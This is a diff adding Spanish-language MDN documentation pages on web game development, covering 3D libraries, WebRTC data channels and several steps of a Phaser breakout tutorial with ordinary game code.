+<p>The most popular JavaScript 3D library is <a href="http://threejs.org/">Three.js</a>, a multi-purpose tool that makes common 3D techniques simpler to implement. There are other popular game development libraries and frameworks worth checking too; <a href="https://aframe.io">A-Frame</a>, <a href="https://playcanvas.com/">PlayCanvas</a> and <a href="http://www.babylonjs.com/">Babylon.js</a> are among the most recognizable ones with rich documentation, online editors and active communities.</p>
+
+<h3 id="Building_up_a_basic_demo_with_A-Frame">Building up a basic demo with A-Frame</h3>
+
+<p>A-Frame is a web framework for building 3D and VR experiences. Under the hood, it is a three.js framework with a declarative entity-component pattern, meaning we can build scenes with just HTML. See the <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_A-Frame">Building up a basic demo with A-Frame</a> subpage for the step-by-step process of creating the demo.</p>
+
+<h3 id="Building_up_a_basic_demo_with_Babylon.js">Building up a basic demo with Babylon.js</h3>
+
+<p><span class="seosummary">Babylon.js is one of the most popular 3D game engines used by developers. As with any other 3D library it provides built-in functions to help you implement common 3D functionality more quickly. See the <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Building up a basic demo with Babylon.js</a> subpage for the basics of using Babylon.js, including setting up a development environment, structuring the necessary HTML, and writing the JavaScript code.</span></p>
+
+<h3 id="Building_up_a_basic_demo_with_PlayCanvas">Building up a basic demo with PlayCanvas</h3>
+
+<p>PlayCanvas is a popular 3D WebGL game engine open sourced on GitHub, with an editor available online and good documentation. See the <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">Building up a basic demo with PlayCanvas</a> subpage for high level details, and further articles showing how to create demos using the PlayCanvas library, and the online editor.</p>
+
+<h3 id="Building_up_a_basic_demo_with_Three.js">Building up a basic demo with Three.js</h3>
+
+<p>Three.js, as any other library, gives you a huge advantage: instead of writing hundreds of lines of WebGL code to build anything interesting you can use built-in helper functions to do it a lot easier and faster. See the <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Building up a basic demo with Three.js</a> subpage for the step-by-step process of creating the demo.</p>
+
+<h3 id="Other_tools">Other tools</h3>
+
+<p>Both <a href="http://unity3d.com/">Unity</a> and <a href="https://www.unrealengine.com/">Unreal</a> can export your game to <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> with <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a>, so you're free to use their tools and techniques to build games that will be exported to the web.</p>
+
+<p><img alt="" src="http://end3r.github.io/MDN-Games-3D/A-Frame/img/shapes.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<h2 id="Where_to_go_next">Where to go next</h2>
+
+<p>With this article we just scratched the surface of what's possible with currently available technologies. You can build immersive, beautiful and fast 3D games on the Web using WebGL, and the libraries and frameworks build on top of it.</p>
+
+<h3 id="Source_code">Source code</h3>
+
+<p>You can find all the source code for this series <a href="http://end3r.github.io/MDN-Games-3D/">demos on GitHub</a>.</p>
+
+<h3 id="APIs">APIs</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a></li>
+</ul>
+
+<h3 id="Frameworks">Frameworks</h3>
+
+<ul>
+ <li><a href="http://threejs.org/">Three.js</a></li>
+ <li><a href="https://github.com/WhitestormJS/whs.js">Whitestorm.js</a> (based on Three.js)</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a></li>
+ <li><a href="http://www.babylonjs.com/">Babylon.js</a></li>
+ <li><a href="http://aframe.io/">A-Frame</a></li>
+</ul>
+
+<h3 id="Tutorials">Tutorials</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Building up a basic demo with Three.js</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Whitestorm.js">Building up a basic demo with Whitestorm.js</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">Building up a basic demo with PlayCanvas</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Building up a basic demo with Babylon.js</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_A-Frame">Building up a basic demo with A-Frame</a></li>
+</ul>
diff --git a/files/es/games/techniques/index.html b/files/es/games/techniques/index.html
new file mode 100644
index 0000000000..66edeebd82
--- /dev/null
+++ b/files/es/games/techniques/index.html
@@ -0,0 +1,32 @@
+---
+title: Techniques for game development
+slug: Games/Techniques
+tags:
+  - Games
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+translation_of: Games/Techniques
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<div class="summary">
+<p><span class="seoSummary">This page lists essential core techniques for anyone wanting to develop games using open web technologies.</span></p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/docs/Games/Techniques/Async_scripts">Using async scripts for asm.js</a></dt>
+ <dd>Especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's JavaScript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users. This article explains how.</dd>
+ <dt><a href="/en-US/docs/Apps/Developing/Optimizing_startup_performance" title="/en-US/docs/Apps/Developing/Optimizing_startup_performance">Optimizing startup performance</a></dt>
+ <dd>How to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device.</dd>
+ <dt><a href="/en-US/docs/Games/WebRTC_data_channels" title="/en-US/docs/Games/WebRTC_data_channels">Using WebRTC peer-to-peer data channels</a></dt>
+ <dd>In addition to providing support for audio and video communication, WebRTC lets you set up peer-to-peer data channels to exchange text or binary data actively between your players. This article explains what this can do for you, and shows how to use libraries that make this easy.</dd>
+ <dt><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></dt>
+ <dd>This article covers techniques and advice for creating efficient animation for web games, with a slant towards supporting lower end devices such as mobile phones. We touch on CSS transitions and CSS animations, and JavaScript loops involving {{ domxref("window.requestAnimationFrame") }}.</dd>
+ <dt><a href="/en-US/docs/Games/Techniques/Audio_for_Web_Games">Audio for Web Games</a></dt>
+ <dd>Audio is an important part of any game — it adds feedback and atmosphere. Web-based audio is maturing fast, but there are still many browser differences to negotiate. This article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible.</dd>
+ <dt><a href="/en-US/docs/Games/Techniques/2D_collision_detection">2D collision detection</a></dt>
+ <dd>A concise introduction to collision detection in 2D games.</dd>
+ <dt><a href="/en-US/docs/Games/Techniques/Tilemaps">Tilemaps</a></dt>
+ <dd>Tiles are a very popular technique in 2D games for building the game world. These articles provide an introduction to tilemaps and how to implement them with the Canvas API.</dd>
+</dl>
diff --git a/files/es/games/techniques/webrtc_data_channels/index.html b/files/es/games/techniques/webrtc_data_channels/index.html
new file mode 100644
index 0000000000..28687789d9
--- /dev/null
+++ b/files/es/games/techniques/webrtc_data_channels/index.html
@@ -0,0 +1,93 @@
+---
+title: WebRTC data channels
+slug: Games/Techniques/WebRTC_data_channels
+translation_of: Games/Techniques/WebRTC_data_channels
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>La API <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> (Web Real-Time Communications - Comunicaciones WEB en tiempo real) es principalmente conocida por dar soporte en las comunicaciones de audio y video; sin embargo también ofrece canales de datos punto a punto. Este artículo explica más sobre esto y te muestra como usar librerias para implementar canales de datos en tu juego.</p>
+
+<h2 id="¿Qué_es_un_canal_de_datos">¿Qué es un canal de datos?</h2>
+
+<p>Un canal de datos WebRTC te permite enviar texto o datos binarios a través de una conexión activa a un punto. En el contexto de un juego, esto permite a los jugadores enviarse datos entre ellos, ya sea por chat de texto o por información de estado del juego. Los canales de datos vienen en dos sentidos.</p>
+
+<p>Los <strong>canales fiables</strong> garantizan que los mensajes que envíes lleguen al otro interlocutor y en el mismo orden en que se enviaron. Esto es análogo a un socket TCP.</p>
+
+<p>Los <strong>canales no confiables</strong> no ofrecen tales garantías; no se garantiza que los mensajes lleguen en un orden particular y, de hecho, no se garantiza que lleguen. Esto es análogo a un socket UDP.</p>
+
+<p>Tenemos <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">documentación sobre WebRTC</a>. Este artículo, sin embargo, aprovechará algunas bibliotecas que pueden ayudar a trivializar el trabajo, y demostrará formas de usar la abstracción para evitar las diferencias de implementación entre los navegadores. Con suerte, por supuesto, esas diferencias se desvanecerán en el tiempo.</p>
+
+<h2 id="Usando_la_libreria_p2p">Usando la libreria p2p</h2>
+
+<p>Una biblioteca que puede usar es la biblioteca <a href="https://github.com/js-platform/p2p" title="https://github.com/js-platform/p2p">p2p</a>. Esta biblioteca proporciona una API simple para crear conexiones entre puntos y configurar transmisiones y canales de datos. También hay un componente de servidor intermediario y un agente hospedado que puedes usar en lugar de tener que configurar uno.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Continuaremos agregando contenido aquí pronto; hay algunos problemas de organización por resolver.</p>
+</div>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23 {{ property_prefix("webkit") }}</td>
+   <td>22 {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>29 {{ property_prefix("webkit") }}</td>
+   <td>25 {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Alan Kligman</li>
+ <li>Source Article: <a href="https://hacks.mozilla.org/2013/03/webrtc-data-channels-for-great-multiplayer/" title="https://hacks.mozilla.org/2013/03/webrtc-data-channels-for-great-multiplayer/">WebRTC Data Channels for Great Multiplayer</a></li>
+ <li>Other Contributors: Robert Nyman</li>
+ <li>Copyright Information: Alan Kligman, 2013</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/animations_and_tweens/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/animations_and_tweens/index.html
new file mode 100644
index 0000000000..4528f0c95f
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/animations_and_tweens/index.html
@@ -0,0 +1,117 @@
+---
+title: Animaciones e interpolaciones
+slug: Games/Tutorials/2D_breakout_game_Phaser/Animations_and_tweens
+tags:
+  - 2D
+  - Animacion
+  - Canvas
+  - Interpolaciones
+  - JavaScript
+  - Phaser
+  - Principiante
+  - Tutorial
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Animations_and_tweens
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Extra_lives", "Games/Workflows/2D_Breakout_game_Phaser/Buttons")}}</p>
+
+<div class="summary">
+<p>Este es el paso <strong>14</strong> de 16 del tutorial <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente tal y cómo quedaría al completar la lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson14.html">Gamedev-Phaser-Content-Kit/demos/lesson14.html</a>.</p>
+</div>
+
+<p>Para hacer el juego más vistoso y vivo, podemos usar animaciones e interpolaciones. Esto provocará una experencia de juego mejor y más entretenida.  Exploraremos cómo implementar animaciones e interpolaciones Phaser en nuestro juego.</p>
+
+<h2 id="Animaciones">Animaciones</h2>
+
+<p>En Phaser, las animaciones implican tomar una hoja de sprites externa y mostrar los sprites de forma secuencial. Como ejemplo, haremos que una bola se tambalee cuando toque algo.</p>
+
+<p>En primer lugar toma la hoja de sprites de Github y guardala en el directorio <code>/img</code>.</p>
+
+<p>A continuación, cargaremos la hoja de cálculo : coloca la siguiente linea en la parte inferior de su función <code>preload()</code>:</p>
+
+<pre class="brush: js">game.load.spritesheet('ball', 'img/wobble.png', 20, 20);
+</pre>
+
+<p>En lugar de cargar una sola imagen de la bola, podemos cargar toda la hoja de cálculo, una colección de imágenes diferentes. Mostraremos los sprites de forma secuencial para crear la ilusión de animación. Los dos parámetros adicionales del método <code>spritesheet()</code> determinan el ancho y la altura de cada fotograma en el archivo de spritesheet dado, indicando al programa cómo cortarlo para obtener los marcos individuales.</p>
+
+<h2 id="Cargando_la_animación">Cargando la animación</h2>
+
+<p>A continuación ve a tu función create(), encuentra la linea que carga el sprite de la bola, y debajo coloca la linea que llama a <code>animations.add()</code> que se muestra a continuación:</p>
+
+<pre class="brush: js">ball = game.add.sprite(50, 250, 'ball');
+ball.animations.add('wobble', [0,1,0,2,0,1,0,2,0], 24);
+</pre>
+
+<p>Para añadir una animación al objeto usaremos el método <code>animations.add()</code>, que contiene los siguientes parámetros:</p>
+
+<ul>
+ <li>El nombre que elegimos para la animación.</li>
+ <li>Una matriz que define el orden en que se muestran los cuadros durante la animación. Si miras de nuevo la imagen <code>wobble.png</code>, verás que hay tres marcos. Phaser extrae estos y almacena las referencias en una matriz: posiciones 0,1, y 2. La matriz anterior dice que estamos mostrando los fotogramas 0, luego 1, después 0, etc.</li>
+ <li>La tasa de frames, en fps. Ya que estamos ejecutando la animación en 24fps y hay 9 cuadros, la animación se mostrará tres veces por segundo.</li>
+</ul>
+
+<h2 id="Aplicando_la_animación_cuando_la_pelota_golpea_el_remo">Aplicando la animación cuando la pelota golpea el remo</h2>
+
+<p>En la llamada al método <code>arcade.collide()</code> que maneja la colisión entre la pelota y la paleta (la primera linea dentro de  <code>update()</code>, ver abajo) podemos agregar un parámetro adicional que especifica una función que se ejecutará cada vez que ocurra la colisión, de la misma manera que la función <code>ballHitBrick()</code>. Actualiza la primera linea dentro de <code>update()</code> como se muestra a continuación:</p>
+
+<pre class="brush: js">function update() {
+    game.physics.arcade.collide(ball, paddle, ballHitPaddle);
+    game.physics.arcade.collide(ball, bricks, ballHitBrick);
+    paddle.x = game.input.x || game.world.width*0.5;
+}
+</pre>
+
+<p>Luego podemos crear la función <code>ballHitPaddle()</code> (con <code>ball</code> y <code>paddle</code> como parámetros por defecto), reproduciendo la animación de oscilación cuando se llama. Añade la función justo antes de la etiqueta de cierre <code>&lt;/script&gt;</code>:</p>
+
+<pre class="brush: js">function ballHitPaddle(ball, paddle) {
+    ball.animations.play('wobble');
+}
+</pre>
+
+<p>La animación se muestra cada vez que la pelota golpea la paleta. También puedes agregar la llamada a <code>animations.play()</code> dentro de la función <code>ballHitBrick()</code>, si crees que el juego se verá mejor.</p>
+
+<h2 id="Interpolaciones">Interpolaciones</h2>
+
+<p>Mientras que las animaciones reproducen sprites externos secuencialmente, las interpolaciones animan suavemente las propiedades de un objeto en el mundo del juego como el ancho o la opacidad.</p>
+
+<p>Agreguemos una interpolación a nuestro juego para hacer que los ladrillos desaparezcan suavemente cuando son golpeados por la pelota. Ve a la función <code>ballhitBrick()</code>, busca la linea <code>brick.kill();</code> , y reemplazala por lo siguiente:</p>
+
+<pre class="brush: js">var killTween = game.add.tween(brick.scale);
+killTween.to({x:0,y:0}, 200, Phaser.Easing.Linear.None);
+killTween.onComplete.addOnce(function(){
+    brick.kill();
+}, this);
+killTween.start();
+</pre>
+
+<p>Veamos esto para que puedas saber lo que está pasando:</p>
+
+<ol>
+ <li>Al definir una nueva interpolación, debes especificar qué propiedad se interpolará; en nuestro caso, en lugar de ocultar los ladrillos instantáneamente cuando la bola los golpea, haremos que su ancho y altura se ajusten a cero, por lo que desaparecerán. Al final usamos el método, <code>add.tween()</code>, especificando <code>brick.scale</code>  como el argumento, ya que esto es lo que queremos interpolar.</li>
+ <li>El método <code>to()</code> define el estado del objeto al final de la interpolación. Toma un objeto que contenga los valores finales deseados del parámetro elegido (la escala toma un valor de escala, 1 es 100% del tamaño, 0 es 0% del tamaño, etc.), el tiempo de interpolación en milisegundos y el tipo de interpolación.</li>
+ <li>También añadiremos el controlador de eventos opcional <code>onComplete</code>, que define una función que se ejecutará cuando finalice la interpolación.</li>
+ <li>Lo último que debe hacer es iniciar la interpolación de inmediato utilizando <code>start()</code>.</li>
+</ol>
+
+<p>Esa es la versión expandida de la definición de interpolación, pero también podemos usar la sintaxis abreviada:</p>
+
+<pre class="brush: js">game.add.tween(brick.scale).to({x:2,y:2}, 500, Phaser.Easing.Elastic.Out, true, 100);
+</pre>
+
+<p>Esta interpolación duplicará la escala del ladrillo en medio segundo con el uso de Elastic easing, se iniciará automáticamente, y tendrá un retardo de 100 milisegundos.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes comprobar el código final de esta lección en la demo de abajo, y probarlo para entender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/9o4pakrb/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Las animaciones y las interpolaciones se ven muy bien, pero podemos agregar más a nuestro juego. En la siguiente lección veremos cómo manejar los botones.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Extra_lives", "Games/Workflows/2D_Breakout_game_Phaser/Buttons")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/botones/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/botones/index.html
new file mode 100644
index 0000000000..672d7528a6
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/botones/index.html
@@ -0,0 +1,106 @@
+---
+title: Botones
+slug: Games/Tutorials/2D_breakout_game_Phaser/Botones
+tags:
+  - 2D
+  - Botones
+  - JavaScript
+  - Lienzo
+  - Phaser
+  - Principiante
+  - Tutorial
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Buttons
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens", "Games/Workflows/2D_Breakout_game_Phaser/Randomizing_gameplay")}}</p>
+
+<div class="summary">
+<p>Este es el <strong>paso 15 </strong>de 16 del tutorial <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente como debería quedar después de completar el tutorial en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson15.html">Gamedev-Phaser-Content-Kit/demos/lesson15.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">En lugar de comenzar el juego de inmediato, podemos dejar la decisión en el jugador añadiendo un botón de Inicio que pueda pulsar. Vamos a investigar cómo hacerlo.</span></p>
+
+<h2 id="Variables_nuevas">Variables nuevas</h2>
+
+<p>Necesitamos una variable para almacenar un valor booleano que represente si el juego se está jugando actualmente o no, y otra para representar a nuestro botón. Añade las siguientes lineas a tu declaración de variables:</p>
+
+<pre class="brush: js">var playing = false;
+var startButton;
+</pre>
+
+<h2 id="Cargando_el_botón_de_spritesheet">Cargando el botón de spritesheet</h2>
+
+<p>Podemos cargar el botón de spritesheet de la misma manera que cargamos la animación del movimiento de la pelota. Añade lo siguiente al botón de la función <code>preload()</code>:</p>
+
+<pre class="brush: js">game.load.spritesheet('button', 'img/button.png', 120, 40);
+</pre>
+
+<p>El marco de un solo botón mide 120 pixels de ancho y 40 pixels de alto.</p>
+
+<p>También se debe tomar el botón de spritesheet de <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/img/button.png">Github</a>, y guardarlo en el directorio <code>/img</code>.</p>
+
+<h2 id="Añadiendo_el_botón_al_juego">Añadiendo el botón al juego</h2>
+
+<p>Para añadir el botón al juego usaremos el método <code>add.button</code>. Añade las siguientes lineas del botón a la función <code>create()</code>:</p>
+
+<pre class="brush: js">startButton = game.add.button(game.world.width*0.5, game.world.height*0.5, 'button', startGame, this, 1, 0, 2);
+startButton.anchor.set(0.5);
+</pre>
+
+<p>Los parámetros del método <code>button()</code> son los siguientes:</p>
+
+<ul>
+ <li>Las coordenadas x e y del botón.</li>
+ <li>El nombre del elemento gráfico que se mostrará en el botón.</li>
+ <li>Una función de callback que se ejecutará cuando se presione el botón.</li>
+ <li>Una referencia a <code>this</code> para especificar el contexto de ejecución.</li>
+ <li>Los marcos que usaremos para los eventos <em>over</em>, <em>out</em> and <em>down</em>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: El evento over es igual al hover, out es cuando el puntero se mueve fuera del botón y down cuando el botón es presionado.</p>
+</div>
+
+<p>Ahora necesitamos definir la función <code>startGame()</code> referenciada en el siguiente código:</p>
+
+<pre class="brush: js">function startGame() {
+    startButton.destroy();
+    ball.body.velocity.set(150, -150);
+    playing = true;
+}
+</pre>
+
+<p>Cuando se presiona el botón, se borra el botón, se establecen la velocidad inicial de la pelota y la variable <code>playing</code> a <code>true</code>.</p>
+
+<p>Para terminar con esta sección, vuelve a la función <code>create()</code>, encuentra la linea <code>ball.body.velocity.set(150, -150);</code>, y bórrala. Solo queremos que la pelota se mueva cuando se presione el botón, no antes.</p>
+
+<h2 id="Mantener_la_paleta_inmóvil_antes_de_que_comience_el_juego">Mantener la paleta inmóvil antes de que comience el juego</h2>
+
+<p>Funciona como se esperaba, pero aún podemos mover la paleta cuando el juego aún no ha comenzado, lo que parece un poco tonto. Para impedir esto, podemos aprovechar la variable <code>playing</code> y hacer que la paleta solo se mueva cuando el juego haya empezado. Para hacer esto, ajustamos la función <code>update()</code> así:</p>
+
+<pre class="brush: js">function update() {
+    game.physics.arcade.collide(ball, paddle, ballHitPaddle);
+    game.physics.arcade.collide(ball, bricks, ballHitBrick);
+    if(playing) {
+        paddle.x = game.input.x || game.world.width*0.5;
+    }
+}
+</pre>
+
+<p>De esta manera la paleta es inamovible hasta que todo esté cargado y preparado, pero sí cuando el juego actual comience.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes comprobar el código acabado en esta lección en la demo de abajo, y jugar para entender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/1rpj71k4/","","400")}}</p>
+
+<h2 id="Siguientes_pasos">Siguientes pasos</h2>
+
+<p>La última cosa que haremos en esta serie de artículos es hacer el juego más interesante añadiendo algo de aleatorización a la forma en la que la pelota rebota con la paleta.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens", "Games/Workflows/2D_Breakout_game_Phaser/Randomizing_gameplay")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/collision_detection/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/collision_detection/index.html
new file mode 100644
index 0000000000..e2fa08acf6
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/collision_detection/index.html
@@ -0,0 +1,61 @@
+---
+title: Collision detection
+slug: Games/Tutorials/2D_breakout_game_Phaser/Collision_detection
+tags:
+  - 2D
+  - Deteccion de colision
+  - JavaScript
+  - Lienzo
+  - Phaser
+  - Principiante
+  - Tutorial
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Collision_detection
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_Phaser/The_score")}}</p>
+
+<div class="summary">
+<p>Este es el paso<strong> 10 </strong>de un total de 16, del tutorial de <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser.</a> Puedes encontrar el código fuente tal y cómo queda al completar la lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson10.html">Gamedev-Phaser-Content-Kit/demos/lesson10.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Ahora en el próximo desafío: la detección de colisiones entre la bola y los ladrillos. Por suerte, podemos usar el motor de física para verificar las colisiones no solo entre objetos individuales (como la pelota y la paleta), sino también entre un objeto y el grupo.</span></p>
+
+<h2 id="Detección_de_colisión_ladrillobola">Detección de colisión ladrillo/bola</h2>
+
+<p>El motor de físicas hace que todo sea mucho más fácil - solo necesitamos agregar dos simples fragmentos de código. Primero, añade una nueva línea dentro de la función  <code>update()</code> que verifique la detección de las colisiones entre la bola y los ladrillos, como se muestra a continuación:</p>
+
+<pre class="brush: js">function update() {
+    game.physics.arcade.collide(ball, paddle);
+    game.physics.arcade.collide(ball, bricks, ballHitBrick);
+    paddle.x = game.input.x || game.world.width*0.5;
+}
+</pre>
+
+<p>La posición de la bola se calcula contra las posiciones de todos los ladrillos del grupo. El tercer parámetro opcional es la función que se ejecuta cuando se produce una colisión: <code>ballHitBrick()</code>. Crea esta nueva función en la parte inferior de tu código, justo antes de la etiqueta de cierre <code>&lt;/script&gt;</code>, como sigue:</p>
+
+<pre class="brush: js">function ballHitBrick(ball, brick) {
+    brick.kill();
+}
+</pre>
+
+<p>¡Y ya está! Vuelve a cargar el código, y verás que la nueva detección de colisión funciona correctamente.</p>
+
+<p>Gracias a Phaser, se pasan dos parámetros a la función: el primero es la bola, que definimos explícitamente en el método de colisión, y el segundo es el único bloque del grupo de ladrillos con el que la bola está colisionando. Dentro de la función, eliminamos el bloque en cuestión de la pantalla ejecutando el método<code>kill()</code> en él.</p>
+
+<p>Seguro que esperarabas tener que escribir muchos más cálculos para implementar la detección de colisiones cuando se utiliza<a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection"> JavaScript</a> puro. Esa es la belleza de usar el marco: puedes dejar un montón de código aburrido a Phaser, y enfocarte en las partes más divertidas e interesantes de hacer un juego.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes consultar el código terminado para esta lección en la demo que aparece a continuación, y jugar con él para comprender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/wwneakwf/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Podemos golpear los ladrillos y eliminarlos, lo cual sería una buena adición al juego. Sería incluso mejor contar los ladrillos destruidos incrementando la puntuación como resultado.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_Phaser/The_score")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html
new file mode 100644
index 0000000000..83811d20e2
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html
@@ -0,0 +1,127 @@
+---
+title: Extra lives
+slug: Games/Tutorials/2D_breakout_game_Phaser/Extra_lives
+tags:
+  - 2D
+  - JavaScript
+  - Lienzo
+  - Lona
+  - Phaser
+  - Principiante
+  - Tutorial
+  - Vidas
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Extra_lives
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Win_the_game", "Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens")}}</p>
+
+<div class="summary">
+<p>Este es el paso <strong>número 13</strong> de 16 del tutorial <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente tal y cómo queda al completar la lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson13.html">Gamedev-Phaser-Content-Kit/demos/lesson13.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Podemos hacer que el juego sea divertido por más tiempo añadiendo vidas. En este artículo implementaremos un sistema de vidas, para que el jugador pueda seguir jugando hasta que haya perdido tres vidas, no solo una.</span></p>
+
+<h2 id="Nuevas_variables">Nuevas variables</h2>
+
+<p>Añade las siguientes líneas debajo de las ya existentes en tú código:</p>
+
+<pre class="brush: js">var lives = 3;
+var livesText;
+var lifeLostText;
+</pre>
+
